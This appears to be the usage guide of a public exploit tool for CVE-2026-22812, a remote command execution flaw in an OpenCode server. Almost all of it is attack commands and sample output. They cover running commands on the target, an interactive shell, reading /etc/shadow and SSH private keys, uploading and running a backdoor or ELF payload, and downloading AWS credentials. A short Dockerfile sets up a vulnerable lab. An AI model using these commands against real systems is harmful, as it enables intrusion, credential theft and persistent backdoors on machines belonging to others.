# Clone repository
git clone https://github.com/rohmatariow/CVE-2026-22812-exploit.git
cd CVE-2026-22812-exploit

# Install dependencies
pip3 install -r requirements.txt

pip3 install requests urllib3

python3 exploit.py -t http://192.168.1.10:4096 --verify

[+] Target is VULNERABLE to CVE-2026-22812!
[+] Session ID: abc123def456

python3 exploit.py -t http://192.168.1.10:4096 -c "id"

[*] Creating session...
[+] Session created: abc123def456
[+] Target is VULNERABLE!

[*] Executing: id
[+] Command executed successfully

uid=1000(developer) gid=1000(developer) groups=1000(developer)

python3 exploit.py -t http://192.168.1.10:4096 -i

[+] Session created: abc123def456
[+] Target is VULNERABLE!

[*] Entering interactive shell mode
[!] Type 'help' for commands, 'exit' to quit

developer@target$ whoami
developer

developer@target$ pwd
/home/developer/workspace

developer@target$ ls -la
total 48
drwxr-xr-x  8 developer developer 4096 Jan 16 10:30 .
drwxr-xr-x  3 developer developer 4096 Jan 15 09:20 ..
-rw-r--r--  1 developer developer  220 Jan 15 09:20 .bash_logout
...

developer@target$ read /etc/hostname
[*] Reading file: /etc/hostname
[+] File read successfully (10 bytes)
dev-server-01

developer@target$ exit
[*] Exiting...

# Single command
python3 exploit.py -t http://target:4096 -c "whoami"

# Complex command
python3 exploit.py -t http://target:4096 -c "ps aux | grep opencode"

# Multiple commands
python3 exploit.py -t http://target:4096 -c "cd /tmp && ls -la && pwd"

# Read sensitive files
python3 exploit.py -t http://target:4096 -r /etc/passwd
python3 exploit.py -t http://target:4096 -r /etc/shadow
python3 exploit.py -t http://target:4096 -r ~/.ssh/id_rsa

# Upload shell script
python3 exploit.py -t http://target:4096 --upload shell.sh /tmp/shell.sh

# Upload binary
python3 exploit.py -t http://target:4096 --upload payload.elf /tmp/payload

# Upload with execution
python3 exploit.py -t http://target:4096 --upload backdoor.sh /tmp/bd.sh
python3 exploit.py -t http://target:4096 -c "chmod +x /tmp/bd.sh && /tmp/bd.sh"

# Download configuration
python3 exploit.py -t http://target:4096 --download /etc/hosts ./hosts.txt

# Download credentials
python3 exploit.py -t http://target:4096 --download ~/.aws/credentials ./aws_creds.txt

# Download source code
python3 exploit.py -t http://target:4096 --download /app/config.json ./config.json

# Gather system information
python3 exploit.py -t http://target:4096 --sysinfo

{
  "hostname": "dev-server-01",
  "username": "developer",
  "user_id": "uid=1000(developer) gid=1000(developer)",
  "current_dir": "/home/developer/workspace",
  "kernel": "Linux dev-server-01 5.15.0-91-generic x86_64",
  "os_release": "Ubuntu 22.04.3 LTS",
  "ip_address": "192.168.1.10",
  "processes": "..."
}

# Dockerfile for vulnerable OpenCode
FROM node:18
RUN npm install -g [email protected]
EXPOSE 4096
CMD ["opencode"]

# Build and run
docker build -t opencode-vuln .
docker run -p 4096:4096 opencode-vuln

# Test exploit
python3 exploit.py -t http://localhost:4096 -i

# Install vulnerable version
npm install -g [email protected]

# Start OpenCode
opencode

# In another terminal, run exploit
python3 exploit.py -t http://localhost:4096 --verify